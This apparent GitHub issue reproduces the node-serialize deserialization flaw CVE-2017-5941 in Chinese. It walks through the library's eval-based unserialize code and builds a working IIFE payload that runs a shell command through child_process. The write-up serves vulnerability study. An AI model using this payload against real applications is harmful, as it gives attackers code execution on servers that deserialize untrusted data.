node-serialize 反序列化(CVE-2017-5941)
xinali opened this issue · 0 comments
xinali commented
node-serialize 反序列化(CVE-2017-5941)
漏洞本地复现
首先看这个node-serialize库,其中实现反序列化的代码
unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;
var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}
if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};
其中var FUNCFLAG = '_$$ND_FUNC$$_';
可以看出代码中使用了eval
执行代码,再深入看一下能够执行形成的条件。
- obj[key] 类型为
string
- obj[key] 以
_$$ND_FUNC$$_
开头,即FUNCFLAG
首先测试函数序列化后,其类型是否为string
,根据上面给出的源码,序列化后的数据需要JSON.parse
之后再判断类型,再其给出的测试代码文件中,写入如下代码
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);
if (typeof json_data['func'] === 'string') {
console.log("string type!");
} else {
console.log("other type!");
}
测试一下
所以我们提交的数据反序列化后成功的到达eval
的括号中,再来测试eval
是否能够真正的执行。测试代码如下
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);
console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + ')');
执行一下
可以发现eval
中的函数并没有执行,根据javascript的立即执行函数表达式(IIFE),我们在最后eval
加一对括号试试
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);
console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + '())');
测试一下
发现代码已经成功执行,在这个测试过程中,没有直接使用unserialize
,而是根据其代码直接构造出了POC
,现在先用serialize
得到数据,再用unserialize
执行代码试试。这里有一点需要注意,我们在序列化前不能直接将func
利用IIFE的形式写,因为这样的话,在序列化前函数已经执行,导致序列化失败,也就无法得到序列化数据了
测试代码
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}()}; //注意看这里末尾有一对括号!造成IIFE!
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);
先直接测试序列化IIFE的函数
可以看到序列化直接失败,输出数据为空。
再来序列化非IIFE数据
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}}; //这里没有括号
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);
序列化成功
利用序列化的字符串末尾加上一对括号,造成在反序列化时的IIFE,并且需要注意转义反斜杠,具体看代码
require('should');
var serialize = require('..');
//var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
//var serialize_data = serialize.serialize(req_data);
//console.log(serialize_data);
var data = '{"func":"_$$ND_FUNC$$_function (){require(\\"child_process\\").exec(\\"ls /\\", function(error, stdout, stderr){console.log(stdout);});}()"}'; // 末尾有括号,而且转义了斜杠
console.log(data);
var unserialize_data = serialize.unserialize(data);
console.log(unserialize_data);
测试如下